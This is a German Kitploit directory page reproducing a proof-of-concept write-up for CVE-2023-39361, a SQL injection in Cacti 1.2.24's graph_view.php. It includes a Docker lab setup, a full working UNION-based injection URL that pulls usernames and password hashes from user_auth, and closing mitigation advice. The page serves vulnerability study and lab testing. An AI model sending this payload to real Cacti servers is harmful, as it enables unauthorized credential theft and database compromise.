Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2023-39361 — Proof-of-Concept-Exploit für CVE-2023-39361, eine SQL-Injection in Cacti graph_view.php, die zu Datenextraktion und potenziellem RCE führt. | Kitploit
Tools/GitHubGitHub/chodeokcheol/cve-2023-39361
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & Bildung
GitHubchodeokcheol/cve-2023-39361

CVE-2023-39361

Proof-of-Concept-Exploit für CVE-2023-39361, eine SQL-Injection in Cacti graph_view.php, die zu Datenextraktion und potenziellem RCE führt.

Repository anzeigen
vor 1 JahrNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Cacti graph_view.php SQL Injection Leads to RCE [CVE-2023-39361]

[ WHS 3. Generation ] - 남기찬_7342 (ChoDeokCheol)


Zusammenfassung

  • In Cacti 1.2.24 existiert eine Schwachstelle in der Funktion grow_right_pane_tree der Datei graph_view.php.
  • Wenn der Parameter action auf tree_content gesetzt wird, existiert der benutzereingabeabhängige Parameter rfilter.
  • Der Parameter rfilter wird durch die Funktion html_validate_tree_vars validiert, aber diese Prüfung überprüft lediglich, ob es sich um einen gültigen handelt.
regulären Ausdruck
  • Schließlich wird der Wert von rfilter in eine SQL-Abfrage eingefügt, was eine Code-Einschleusung ermöglicht.
  • Es können Werte wie id, username extrahiert werden (verwendet in diesem PoC).

  • Voraussetzungen

    • Überprüfen Sie mit docker-compose -v, ob Docker Compose installiert ist und welche Version.
    • Bereiten Sie die für die CVE-2023-39361-Konfiguration erforderlichen Docker-Komponenten vor (yml oder Images usw.).

    Umgebung einrichten und ausführen

    • Verwenden Sie die Dateien docker-compose.yml und entrypoint.sh aus dem Verzeichnis cacti/CVE-2023-39361 von vulhub.
    • Richten Sie die PoC-Umgebung mit docker compose up -d ein. (Image: cacti:1.2.24)
    • Erstellen Sie den Cacti-Server mit der in der yml-Datei festgelegten localhost-Adresse 8080:80. Docker-PoC-Umgebung aufsetzen Cacti-Server einrichten

    Schwachstellen-PoC

    • Diese Schwachstelle tritt auf, wenn die Authentifizierungseinstellungen so konfiguriert sind, dass auch normale Benutzer (Gast) die Graphen anzeigen können.

    • Die Schwachstelle kann mit den folgenden Parametereingaben nachgewiesen werden:

      • %20OR%20""="((" : Typischer SQL-Injektionscode. Erzwingt eine wahre Bedingung durch OR.
      • %20UNION%20SELECT% : Ruft beliebige gewünschte Ergebnisse ab.
      • (select%20concat(id,0x23,username,0x23,password)%20from%20user_auth%20limit%201) : Fordert die Werte id#username#password an.
      • (select%20user()),(select%20version()) : Ruft den Datenbankbenutzer / die Version ab.
      • %23 : Da es sich um # handelt, wird die nachfolgende SQL-Anweisung unwirksam gemacht.

    http://your-ip:8080/graph_view.php?action=tree_content&node=1-1-tree_anchor&rfilter=aaaaaaa"%20OR%20""="(("))%20UNION%20SELECT%201,2,(select%20concat(id,0x23,username,0x23,password)%20from%20user_auth%20limit%201),4,5,6,(select%20user()),(select%20version()),9,10%23


    Ergebnis

    Burpsuite-Ausführung und Antwort Es ist erkennbar, dass die Antwort wie angefordert erfolgte.


    Zusammenfassung

    SQL-Injection-Angriffe treten hauptsächlich auf, wenn während der Serverinteraktion Benutzereingaben akzeptiert werden. Durch diesen SQL-Injection-Angriff wurde die Vertraulichkeit der Datenbank beeinträchtigt, und es konnte festgestellt werden, dass Vermögenswerte offengelegt wurden.
    Als Gegenmaßnahme für diese SQL-Injection könnte eine grundlegende Whitelist-Wertprüfung für rfilter durchgeführt werden oder Sonderzeichen wie (", ', ;, ...) escaped werden. Alternativ könnte eine Verbesserung durch die Verwendung einer ORM-Bibliothek wie Doctrine beim Datenbankzugriff erfolgen.

    Tool herunterladen